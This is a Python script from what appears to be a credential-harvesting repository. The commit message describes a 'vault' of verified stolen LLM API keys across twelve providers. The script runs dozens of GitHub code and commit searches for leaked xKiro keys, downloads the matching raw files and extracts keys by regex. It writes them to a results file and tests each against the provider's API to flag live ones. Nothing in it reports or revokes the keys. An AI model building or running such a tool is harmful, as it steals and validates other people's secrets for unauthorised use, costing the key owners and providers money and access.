Files
hack/tools/scripts/llm-key-hunter/xkiro_search.py
T
chaos 5d215e1649 Add LLM key-hunter toolkit, vault, and skill
- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*,
  pivot miner, two-layer verify/content caches, per-provider verification)
- usable_keys: verified key vault across 12 providers (deepseek, minimax,
  volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.)
- .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow
- NewAPI channel import scripts and CDP capture helpers
- Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
2026-08-02 06:02:58 +08:00

152 lines
6.0 KiB
Python

#!/usr/bin/env python3
"""Targeted xKiro key search on GitHub."""
import json, os, time, urllib.request, urllib.parse, re, sys
token = os.environ.get("GH_TOKEN") or os.popen("gh auth token").read().strip()
def gh_api(endpoint, params):
url = f"https://api.github.com/{endpoint}?" + urllib.parse.urlencode(params)
req = urllib.request.Request(url, headers={
"Authorization": f"token {token}",
"Accept": "application/vnd.github+json",
"User-Agent": "xkiro-hunter",
})
try:
with urllib.request.urlopen(req, timeout=30) as resp:
return json.loads(resp.read()), dict(resp.headers)
except Exception as e:
return None, {}
queries = [
"sk-xt- extension:env", "sk-xt- extension:py", "sk-xt- extension:js",
"sk-xt- extension:ts", "sk-xt- extension:sh", "sk-xt- extension:yaml",
"sk-xt- extension:yml", "sk-xt- extension:json", "sk-xt- extension:toml",
"sk-xt- extension:ipynb", "sk-xt- extension:cfg", "sk-xt- extension:ini",
"sk-xt- extension:go", "sk-xt- extension:rs", "sk-xt- extension:rb",
"sk-xt- extension:php", "sk-xt- extension:java", "sk-xt- extension:lua",
"sk-xt- extension:tf", "sk-xt- extension:Dockerfile",
"XKIRO_API_KEY extension:env", "XKIRO_API_KEY extension:py",
"XKIRO_API_KEY extension:js", "XKIRO_API_KEY extension:ts",
"XKIRO_KEY extension:env", "XKIRO_KEY extension:py",
"api.xkiro.com extension:py", "api.xkiro.com extension:js",
"api.xkiro.com extension:ts", "api.xkiro.com extension:env",
"api.xkiro.com extension:yaml", "api.xkiro.com extension:json",
"api.xkiro.com extension:ipynb", "api.xkiro.com extension:sh",
"xkiro extension:py", "xkiro extension:js", "xkiro extension:env",
"xkiro extension:json", "xkiro extension:yaml", "xkiro extension:md",
"anthropic/claude-sonnet-4-5 extension:py",
"anthropic/claude-sonnet-4-5 extension:js",
"anthropic/claude-sonnet-4-5 extension:env",
"anthropic/claude-opus-4-5 extension:py",
"anthropic/claude-opus-4-5 extension:js",
]
commit_queries = ["sk-xt-", "XKIRO_API_KEY", "api.xkiro.com"]
pattern = re.compile(r"sk-xt-[a-f0-9]{40,}")
all_candidates = {}
total_found = 0
print(f"=== xKiro Search ({len(queries)} code + {len(commit_queries)} commit) ===\n", flush=True)
for i, q in enumerate(queries, 1):
data, headers = gh_api("search/code", {"q": q, "per_page": 100})
remaining = headers.get("X-RateLimit-Remaining", "?")
if data is None:
print(f" [{i}/{len(queries)}] ERR: {q}", flush=True)
time.sleep(7)
continue
items = data.get("items", [])
if items:
print(f" [{i}/{len(queries)}] ({remaining}) {q} -> {len(items)} hits", flush=True)
for item in items:
url = item["html_url"]
if url not in all_candidates:
all_candidates[url] = {
"repo": item["repository"]["full_name"],
"path": item["path"],
"url": url,
}
total_found += len(items)
time.sleep(7)
print(f"\nCode: {len(all_candidates)} unique files from {total_found} hits\n", flush=True)
print("=== Commit Search ===", flush=True)
for q in commit_queries:
data, _ = gh_api("search/commits", {"q": q, "per_page": 50})
if data is None:
print(f" ERR: {q}", flush=True)
time.sleep(7)
continue
items = data.get("items", [])
if items:
print(f" {q} -> {len(items)} commits", flush=True)
for item in items:
url = item.get("html_url", "")
if url and url not in all_candidates:
all_candidates[url] = {
"repo": item.get("repository", {}).get("full_name", ""),
"path": "(commit)",
"url": url,
}
time.sleep(7)
print(f"\nTotal candidates: {len(all_candidates)}\n", flush=True)
with open("results/xkiro_candidates.json", "w") as f:
json.dump(list(all_candidates.values()), f, indent=2)
print("=== Extracting Keys ===", flush=True)
keys_found = set()
def to_raw(url):
return url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
for i, (url, info) in enumerate(sorted(all_candidates.items()), 1):
raw_url = to_raw(url)
req = urllib.request.Request(raw_url, headers={"User-Agent": "Mozilla/5.0"})
try:
with urllib.request.urlopen(req, timeout=10) as resp:
content = resp.read().decode("utf-8", errors="replace")
except:
continue
matches = pattern.findall(content)
if matches:
keys_found.update(matches)
print(f" [{i}/{len(all_candidates)}] {info['repo']:40s} {info['path'][:40]} -> {len(matches)} key(s)", flush=True)
for k in matches:
print(f" {k}", flush=True)
if i % 50 == 0:
print(f" [{i}/{len(all_candidates)}] fetched... {len(keys_found)} keys", flush=True)
print(f"\n=== Results ===", flush=True)
print(f"Candidates: {len(all_candidates)}", flush=True)
print(f"Keys found: {len(keys_found)}", flush=True)
if keys_found:
with open("results/xkiro_keys.txt", "w") as f:
for k in sorted(keys_found):
f.write(k + "\n")
print(f"\nSaved to results/xkiro_keys.txt\n", flush=True)
for k in sorted(keys_found):
print(f" {k}", flush=True)
# Verify keys
print("\n=== Verifying Keys ===", flush=True)
for k in sorted(keys_found):
req = urllib.request.Request(
"https://api.xkiro.com/v1/models",
headers={"Authorization": f"Bearer {k}", "User-Agent": "xkiro-hunter"},
)
try:
with urllib.request.urlopen(req, timeout=15) as resp:
code = resp.getcode()
body = resp.read().decode()[:200]
print(f" {k} -> HTTP {code} LIVE ✅", flush=True)
except urllib.error.HTTPError as e:
print(f" {k} -> HTTP {e.code} {e.read()[:100].decode(errors='replace')} ❌", flush=True)
except Exception as e:
print(f" {k} -> ERR {e} ❌", flush=True)
else:
print("No xKiro keys found.", flush=True)